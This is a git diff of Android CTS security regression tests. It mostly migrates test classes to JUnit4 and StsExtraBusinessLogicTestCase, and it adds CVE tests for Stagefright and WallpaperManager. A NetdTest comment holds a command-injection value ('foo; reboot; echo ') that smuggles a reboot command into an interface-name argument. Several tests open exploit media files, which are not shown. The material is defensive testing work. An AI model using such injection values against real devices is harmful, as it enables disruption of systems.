@@ -83,6 +96,7 @@
         }
     }
 
+    @Test
     @AsbSecurityTest(cveBugId = 30202228)
     public void testGetServiceFromIsolatedService() throws RemoteException {
         for (String serviceName : RESTRICTED_SERVICES_TO_TEST) {
@@ -92,14 +106,15 @@
         }
     }
 
+    @Test
     public void testGetProcessIsIsolated() throws RemoteException {
         Assert.assertFalse(Process.isIsolated());
         Assert.assertTrue(mService.getProcessIsIsolated());
     }
 
-    @Override
+    @After
     public void tearDown() {
-        mContext.unbindService(mServiceConnection);
+        getInstrumentation().getContext().unbindService(mServiceConnection);
     }
 
 }
diff --git a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
index b427516..4b8b178 100644
--- a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
+++ b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
@@ -18,16 +18,24 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 import android.media.MediaRecorder;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import android.util.Log;
 
 import java.io.File;
 
-public class MediaRecorderInfoLeakTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaRecorderInfoLeakTest extends StsExtraBusinessLogicTestCase {
 
    /**
     *  b/27855172
     */
+    @Test
     @AsbSecurityTest(cveBugId = 27855172)
     public void test_cve_2016_2499() throws Exception {
         MediaRecorder mediaRecorder = null;
diff --git a/tests/tests/security/src/android/security/cts/MotionEventTest.java b/tests/tests/security/src/android/security/cts/MotionEventTest.java
index c291ee4..08de373 100644
--- a/tests/tests/security/src/android/security/cts/MotionEventTest.java
+++ b/tests/tests/security/src/android/security/cts/MotionEventTest.java
@@ -139,11 +139,12 @@
 
         // Find the position inside the main activity and outside of the overlays.
         FutureTask<Point> clickLocationTask = new FutureTask<>(() -> {
-            final int[] viewLocation = new int[2];
+            final int[] contentViewLocation = new int[2];
             final View decorView = mActivity.getWindow().getDecorView();
-            decorView.getLocationOnScreen(viewLocation);
+            final View contentView = decorView.findViewById(android.R.id.content);
+            contentView.getLocationOnScreen(contentViewLocation);
             // Set y position to the center of the view, to make sure it is away from the status bar
-            return new Point(viewLocation[0], viewLocation[1] + decorView.getHeight() / 2);
+            return new Point(contentViewLocation[0], contentViewLocation[1] + contentView.getHeight() / 2);
         });
         mActivity.runOnUiThread(clickLocationTask);
         Point viewLocation = clickLocationTask.get(5, TimeUnit.SECONDS);
diff --git a/tests/tests/security/src/android/security/cts/Movie33897722.java b/tests/tests/security/src/android/security/cts/Movie33897722.java
index 2ce1610..3ab3bb2 100644
--- a/tests/tests/security/src/android/security/cts/Movie33897722.java
+++ b/tests/tests/security/src/android/security/cts/Movie33897722.java
@@ -16,6 +16,8 @@
 
 package android.security.cts;
 
+import static org.junit.Assert.*;
+
 import android.graphics.Bitmap;
 import android.graphics.Canvas;
 import android.graphics.Color;
@@ -24,13 +26,20 @@
 import android.graphics.PorterDuff;
 import android.graphics.PorterDuffXfermode;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.InputStream;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
 import android.security.cts.R;
 
-public class Movie33897722 extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class Movie33897722 extends StsExtraBusinessLogicTestCase {
     /**
      * Verifies that decoding a particular GIF file does not read out out of bounds.
      *
@@ -39,6 +48,7 @@
      * color map, which would be reading memory that we do not control, and may be uninitialized.
      */
     @AsbSecurityTest(cveBugId = 33897722)
+    @Test
     public void test_android_bug_33897722() {
         // The image has a 10 x 10 frame on top of a transparent background. Only test the
         // 10 x 10 frame, since the original bug would never have used uninitialized memory
@@ -47,6 +57,7 @@
     }
 
     @AsbSecurityTest(cveBugId = 37662286)
+    @Test
     public void test_android_bug_37662286() {
         // The image has a background color that is out of range. Arbitrarily test
         // the upper left corner. (Most of the image is transparent.)
@@ -62,7 +73,7 @@
                             int drawWidth, int drawHeight) {
         assertTrue(drawWidth <= screenWidth && drawHeight <= screenHeight);
 
-        InputStream exploitImage = mContext.getResources().openRawResource(resId);
+        InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(resId);
         Movie movie = Movie.decodeStream(exploitImage);
         assertNotNull(movie);
         assertEquals(movie.width(), screenWidth);
diff --git a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
index 4f5754c..135d493 100644
--- a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
@@ -16,7 +16,6 @@
 
 package android.security.cts;
 
-import android.test.AndroidTestCase;
 import android.platform.test.annotations.AsbSecurityTest;
 import androidx.test.InstrumentationRegistry;
 
@@ -49,12 +48,23 @@
 import android.util.Log;
 import android.annotation.Nullable;
 import android.platform.test.annotations.AppModeFull;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 import static java.lang.Thread.sleep;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 @AppModeFull
-public class NanoAppBundleTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class NanoAppBundleTest extends StsExtraBusinessLogicTestCase {
 
+    private Context mContext;
     private static final String TAG = "NanoAppBundleTest";
     private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
 
@@ -72,27 +82,27 @@
             }
         };
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
+        mContext = getInstrumentation().getContext();
         Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
         mContext.startService(serviceIntent);
         mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void tearDown() throws Exception {
         if (mContext != null) {
             Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
             mContext.stopService(serviceIntent);
         }
-        super.tearDown();
     }
 
     /**
      * b/113527124
      */
     @AsbSecurityTest(cveBugId = 77599679)
+    @Test
     public void testPoc_cve_2018_9471() throws Exception {
 
         try {
diff --git a/tests/tests/security/src/android/security/cts/NativeCodeTest.java b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
index c5a9bac..53c05c0 100644
--- a/tests/tests/security/src/android/security/cts/NativeCodeTest.java
+++ b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
@@ -18,15 +18,22 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import junit.framework.TestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
-public class NativeCodeTest extends TestCase {
+import static org.junit.Assert.*;
+
+@RunWith(AndroidJUnit4.class)
+public class NativeCodeTest extends StsExtraBusinessLogicTestCase {
 
     static {
         System.loadLibrary("ctssecurity_jni");
     }
 
     @AsbSecurityTest(cveBugId = 22300191)
+    @Test
     public void testSysVipc() throws Exception {
         assertTrue("Android does not support Sys V IPC, it must "
                    + "be removed from the kernel. In the kernel config: "
diff --git a/tests/tests/security/src/android/security/cts/NetdTest.java b/tests/tests/security/src/android/security/cts/NetdTest.java
index 14623fd..463d443 100644
--- a/tests/tests/security/src/android/security/cts/NetdTest.java
+++ b/tests/tests/security/src/android/security/cts/NetdTest.java
@@ -20,13 +20,17 @@
 import android.os.IBinder;
 import android.platform.test.annotations.AsbSecurityTest;
 
-import junit.framework.TestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
 import java.lang.Class;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 
-public class NetdTest extends TestCase {
+@RunWith(AndroidJUnit4.class)
+public class NetdTest extends StsExtraBusinessLogicTestCase {
 
     /**
      * Detect if netd has unsanitized system call in Throttle API.
@@ -34,6 +38,7 @@
      *    serv.setInterfaceThrottle("foo; reboot; echo ", -1, -1);
      */
     @AsbSecurityTest(cveBugId = 5758556)
+    @Test
     public void testThrottleSanitization() {
         try {
 
diff --git a/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java b/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
index f810817..f68c097 100644
--- a/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
+++ b/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
@@ -16,20 +16,27 @@
 
 package android.security.cts;
 
+import static org.junit.Assert.*;
+
 import android.graphics.SurfaceTexture;
 import android.hardware.camera2.params.OutputConfiguration;
 import android.os.Parcel;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
 import android.util.Size;
 import android.view.Surface;
 import android.view.TextureView;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
 /**
  * Verify that OutputConfiguration's fields propagate through parcel properly.
  */
-public class OutputConfigurationTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class OutputConfigurationTest extends StsExtraBusinessLogicTestCase {
     @AsbSecurityTest(cveBugId = 69683251)
+    @Test
     public void testSharedSurfaceOutputConfigurationBasic() throws Exception {
         SurfaceTexture outputTexture = new SurfaceTexture(/* random texture ID */ 5);
         Surface surface = new Surface(outputTexture);
diff --git a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
index 5b4e530..d2d70d8 100644
--- a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
+++ b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
@@ -16,7 +16,8 @@
 
 package android.security.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.*;
+
 import android.platform.test.annotations.AsbSecurityTest;
 import android.security.cts.R;
 
@@ -26,13 +27,21 @@
 import android.os.Bundle;
 import android.os.Parcel;
 import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.File;
 import java.lang.reflect.Field;
 
-public class ParcelableExceptionTest extends AndroidTestCase {
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class ParcelableExceptionTest extends StsExtraBusinessLogicTestCase {
 
     @AsbSecurityTest(cveBugId = 65281159)
+    @Test
     public void test_CVE_2017_0871() throws Exception {
         String filePath = "/data/system/" + System.currentTimeMillis();
         File file = new File(filePath);
diff --git a/tests/tests/security/src/android/security/cts/PutOverflowTest.java b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
index 2bf7a85..4667859 100644
--- a/tests/tests/security/src/android/security/cts/PutOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
@@ -17,10 +17,18 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import java.lang.reflect.Method;
 
-public class PutOverflowTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class PutOverflowTest extends StsExtraBusinessLogicTestCase {
+    @Test
     @AsbSecurityTest(cveBugId = 22802399)
     public void testCrash() throws Exception {
         try {
diff --git a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
index 8405acc..293200e 100644
--- a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
+++ b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
@@ -19,11 +19,17 @@
 import android.app.ActivityManager;
 import android.content.Context;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
 
 import java.util.List;
 
-public class RunningAppProcessInfoTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class RunningAppProcessInfoTest extends StsExtraBusinessLogicTestCase {
     /*
      * This test verifies severity vulnerability: apps can bypass the L restrictions in
      * getRunningTasks()is fixed. The test tries to get current RunningAppProcessInfo and passes
@@ -31,9 +37,10 @@
      */
 
     @AsbSecurityTest(cveBugId = 20034603)
+    @Test
     public void testRunningAppProcessInfo() {
         ActivityManager amActivityManager =
-                (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+                (ActivityManager) getInstrumentation().getContext().getSystemService(Context.ACTIVITY_SERVICE);
         List<ActivityManager.RunningAppProcessInfo> appList =
                 amActivityManager.getRunningAppProcesses();
         // The test will pass if it is able to get only its process info
diff --git a/tests/tests/security/src/android/security/cts/SQLiteTest.java b/tests/tests/security/src/android/security/cts/SQLiteTest.java
index a3a14d4..84d36fa 100644
--- a/tests/tests/security/src/android/security/cts/SQLiteTest.java
+++ b/tests/tests/security/src/android/security/cts/SQLiteTest.java
@@ -28,14 +28,21 @@
 import android.net.Uri;
 import android.platform.test.annotations.AsbSecurityTest;
 import android.provider.VoicemailContract;
-import android.test.AndroidTestCase;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.File;
 import java.io.FileInputStream;
 
-public class SQLiteTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class SQLiteTest extends StsExtraBusinessLogicTestCase {
     private static final String DATABASE_FILE_NAME = "database_test.db";
 
     private ContentResolver mResolver;
@@ -44,9 +51,8 @@
 
     private SQLiteDatabase mDatabase;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
         mResolver = getContext().getContentResolver();
         mContext = InstrumentationRegistry.getTargetContext();
         mPackageName = mContext.getPackageName();
@@ -62,6 +68,7 @@
      * b/139186193
      */
     @AsbSecurityTest(cveBugId = 139186193)
+    @Test
     public void test_android_cve_2019_2195() {
         Uri uri = VoicemailContract.Voicemails.CONTENT_URI;
         uri = uri.buildUpon().appendQueryParameter("source_package", mPackageName).build();
@@ -99,6 +106,7 @@
      * b/153352319
      */
     @AsbSecurityTest(cveBugId = 153352319)
+    @Test
     public void test_android_float_to_text_conversion_overflow() {
         String create_cmd = "select (printf('%.2147483647G',0.01));";
         try (Cursor c = mDatabase.rawQuery(create_cmd, null)) {
diff --git a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
index 7e6fb7c..2765de4 100644
--- a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
+++ b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
@@ -15,33 +15,35 @@
  */
 package android.security.cts;
 
+import static org.junit.Assert.*;
+
 import android.content.ComponentName;
 import android.content.Intent;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
 import android.content.pm.PackageManager;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
-public class STKFrameworkTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class STKFrameworkTest extends StsExtraBusinessLogicTestCase {
     private boolean mHasTelephony;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
         mHasTelephony = getContext().getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_TELEPHONY);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-    }
-
     /*
      * Verifies commands Intercepting which has been sent from SIM card to Telephony using
      * zero-permission malicious application
      */
     @AsbSecurityTest(cveBugId = 21697171)
+    @Test
     public void testInterceptedSIMCommandsToTelephony() {
         if (!mHasTelephony) {
             return;
@@ -54,7 +56,7 @@
                 ComponentName.unflattenFromString("com.android.stk/com.android.stk.StkCmdReceiver");
         intent.setComponent(cn);
         try {
-            mContext.sendBroadcast(intent);
+            getInstrumentation().getContext().sendBroadcast(intent);
             fail("Able to send broadcast which can be received by any app which has registered " +
                     "broadcast for action 'com.android.internal.stk.command' since it is not " +
                     "protected with any permission. Device is vulnerable to CVE-2015-3843.");
diff --git a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
index 4a9802f..de6a9ac 100644
--- a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
+++ b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
@@ -19,26 +19,33 @@
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
 import java.io.InputStream;
 
 import android.security.cts.R;
 import android.platform.test.annotations.AsbSecurityTest;
 
-public class SkiaICORecursiveDecodingTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class SkiaICORecursiveDecodingTest extends StsExtraBusinessLogicTestCase {
 
     @AsbSecurityTest(cveBugId = 73782357)
+    @Test
     public void testAndroid_cve_2017_13318() {
         doSkiaIcoRecursiveDecodingTest(R.raw.cve_2017_13318);
     }
 
     @AsbSecurityTest(cveBugId = 17262540)
+    @Test
     public void test_android_bug_17262540() {
         doSkiaIcoRecursiveDecodingTest(R.raw.bug_17262540);
     }
 
     @AsbSecurityTest(cveBugId = 17265466)
+    @Test
     public void test_android_bug_17265466() {
         doSkiaIcoRecursiveDecodingTest(R.raw.bug_17265466);
     }
@@ -47,7 +54,7 @@
      * Verifies that the device prevents recursive decoding of malformed ICO files
      */
     public void doSkiaIcoRecursiveDecodingTest(int resId) {
-        InputStream exploitImage = mContext.getResources().openRawResource(resId);
+        InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(resId);
         /**
          * The decodeStream method results in SIGSEGV (Segmentation fault) on unpatched devices
          * while decoding the exploit image which will lead to process crash
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 6820f2c..af5fb29 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -22,6 +22,7 @@
  */
 package android.security.cts;
 
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import android.app.Instrumentation;
 import android.content.Context;
 import android.content.res.AssetFileDescriptor;
@@ -100,20 +101,14 @@
  */
 @AppModeFull
 @RunWith(AndroidJUnit4.class)
-public class StagefrightTest {
+public class StagefrightTest extends StsExtraBusinessLogicTestCase {
     static final String TAG = "StagefrightTest";
-    private Instrumentation mInstrumentation;
 
     private final long TIMEOUT_NS = 10000000000L;  // 10 seconds.
     private final static long CHECK_INTERVAL = 50;
 
     @Rule public TestName name = new TestName();
 
-    @Before
-    public void setup() {
-        mInstrumentation = InstrumentationRegistry.getInstrumentation();
-    }
-
     class CodecConfig {
         boolean isAudio;
         /* Video Parameters - valid only when isAudio is false */
@@ -1821,6 +1816,12 @@
      before any existing test methods
      ***********************************************************/
     @Test
+    @AsbSecurityTest(cveBugId = 157906313)
+    public void testStagefright_cve_2020_11135() throws Exception {
+        doStagefrightTest(R.raw.cve_2020_11135);
+    }
+
+    @Test
     @AsbSecurityTest(cveBugId = 136175447)
     public void testStagefright_cve_2019_2186() throws Exception {
         long end = System.currentTimeMillis() + 180000; // 3 minutes from now
@@ -3259,8 +3260,4 @@
 
         assertFalse(hung);
     }
-
-    private Instrumentation getInstrumentation() {
-        return mInstrumentation;
-    }
 }
diff --git a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
index 3be7534..945d119 100644
--- a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
+++ b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
@@ -22,22 +22,25 @@
 import android.media.audiofx.AudioEffect;
 import android.media.MediaPlayer;
 import android.media.audiofx.Visualizer;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import android.util.Log;
 
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Method;
 import java.util.UUID;
 
+import static org.junit.Assert.*;
 
-public class VisualizerEffectTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class VisualizerEffectTest extends StsExtraBusinessLogicTestCase {
     private String TAG = "VisualizerEffectTest";
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
 
     //Testing security bug: 30229821
+    @Test
     @AsbSecurityTest(cveBugId = 30229821)
     public void testVisualizer_MalformedConstructor() throws Exception {
         final String VISUALIZER_TYPE = "e46b26a0-dddd-11db-8afd-0002a5d5c51b";
@@ -80,4 +83,4 @@
             Log.w(TAG,"No visualizer found to test");
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
new file mode 100644
index 0000000..fda462b
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
+
+import android.Manifest;
+import android.app.WallpaperManager;
+import android.content.Context;
+import android.graphics.Rect;
+import android.hardware.display.DisplayManager;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.view.Display;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+import org.junit.After;
+import org.junit.Before;
+
+public class WallpaperManagerTest extends CtsAndroidTestCase {
+
+    @Before
+    public void setUp() {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.SET_WALLPAPER_HINTS);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    // b/204316511
+    @AsbSecurityTest(cveBugId = 204316511)
+    public void testSetDisplayPadding() {
+        WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+
+        Rect validRect = new Rect(1, 1, 1, 1);
+        // This should work, no exception expected
+        wallpaperManager.setDisplayPadding(validRect);
+
+        Rect negativeRect = new Rect(-1, 0 , 0, 0);
+        try {
+            wallpaperManager.setDisplayPadding(negativeRect);
+            fail("setDisplayPadding should fail for a Rect with negative values");
+        } catch (IllegalArgumentException e) {
+            // Expected exception
+        }
+
+        DisplayManager dm = getContext().getSystemService(DisplayManager.class);
+        Display primaryDisplay = dm.getDisplay(DEFAULT_DISPLAY);
+        Context windowContext = getContext().createWindowContext(primaryDisplay,
+                TYPE_APPLICATION, null);
+        Display display = windowContext.getDisplay();
+
+        Rect tooWideRect = new Rect(0, 0, display.getMaximumSizeDimension() + 1, 0);
+        try {
+            wallpaperManager.setDisplayPadding(tooWideRect);
+            fail("setDisplayPadding should fail for a Rect width larger than "
+                    + display.getMaximumSizeDimension());
+        } catch (IllegalArgumentException e) {
+            // Expected exception
+        }
+
+        Rect tooHighRect = new Rect(0, 0, 0, display.getMaximumSizeDimension() + 1);
+        try {
+            wallpaperManager.setDisplayPadding(tooHighRect);
+            fail("setDisplayPadding should fail for a Rect height larger than "
+                    + display.getMaximumSizeDimension());
+        } catch (IllegalArgumentException e) {
+            // Expected exception
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
index 5cc4fe5..af28a54 100644
--- a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
+++ b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
@@ -19,22 +19,30 @@
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.InputStream;
 
 import android.security.cts.R;
 
-public class ZeroHeightTiffTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class ZeroHeightTiffTest extends StsExtraBusinessLogicTestCase {
     /**
      * Verifies that the device fails to decode a zero height tiff file.
      *
      * Prior to fixing bug 33300701, decoding resulted in undefined behavior (divide by zero).
      * With the fix, decoding will fail, without dividing by zero.
      */
+    @Test
     @AsbSecurityTest(cveBugId = 33300701)
     public void test_android_bug_33300701() {
-        InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33300701);
+        InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_33300701);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
         assertNull(bitmap);
     }
diff --git a/tests/tests/sharesheet/OWNERS b/tests/tests/sharesheet/OWNERS
index 8bea7af..00c4b94 100644
--- a/tests/tests/sharesheet/OWNERS
+++ b/tests/tests/sharesheet/OWNERS
@@ -1,6 +1,7 @@
-# Bug component: 324112
+# Bug component: 78010
+# Internal-only bug component: 324112
+joshtrask@google.com
+mrenouf@google.com
+mrcasey@google.com
 digman@google.com
-asc@google.com
-dsandler@google.com
-mpietal@google.com
-arangelov@google.com
\ No newline at end of file
+file:platform/frameworks/base:/packages/SystemUI/OWNERS
\ No newline at end of file
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java b/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java
index b4c4e38..db2a142 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java
@@ -45,6 +45,10 @@
         return mContent.getWindowSystemUiVisibility();
     }
 
+    public int getLeft() {
+        return mContent.getLocationOnScreen()[0];
+    }
+
     public int getTop() {
         return mContent.getLocationOnScreen()[1];
     }
@@ -53,6 +57,10 @@
         return mContent.getLocationOnScreen()[1] + mContent.getHeight();
     }
 
+    public int getRight() {
+        return mContent.getLocationOnScreen()[0] + mContent.getWidth();
+    }
+
     public int getWidth() {
         return mContent.getWidth();
     }
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
index 0004bcd..a0e9ffb 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
@@ -59,13 +59,14 @@
 
     protected Bitmap takeStatusBarScreenshot(LightBarBaseActivity activity) {
         Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
-        return Bitmap.createBitmap(fullBitmap, 0, 0, fullBitmap.getWidth(), activity.getTop());
+        return Bitmap.createBitmap(fullBitmap, activity.getLeft(), 0, activity.getRight(),
+                activity.getTop());
     }
 
     protected Bitmap takeNavigationBarScreenshot(LightBarBaseActivity activity) {
         Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
-        return Bitmap.createBitmap(fullBitmap, 0, activity.getBottom(), fullBitmap.getWidth(),
-                fullBitmap.getHeight() - activity.getBottom());
+        return Bitmap.createBitmap(fullBitmap, activity.getLeft(), activity.getBottom(),
+                activity.getRight(), fullBitmap.getHeight() - activity.getBottom());
     }
 
     protected void dumpBitmap(Bitmap bitmap, String name) {
@@ -106,9 +107,7 @@
         for (int i = 0; i < pixels.length; i++) {
             int x = i % bitmap.getWidth();
             int y = i / bitmap.getWidth();
-
-            if (pixels[i] == backgroundColor
-                    || isInsideCutout(x, shiftY + y)) {
+            if (isColorSame(pixels[i], backgroundColor) || isInsideCutout(x, shiftY + y)) {
                 backgroundColorPixelCount++;
             }
         }
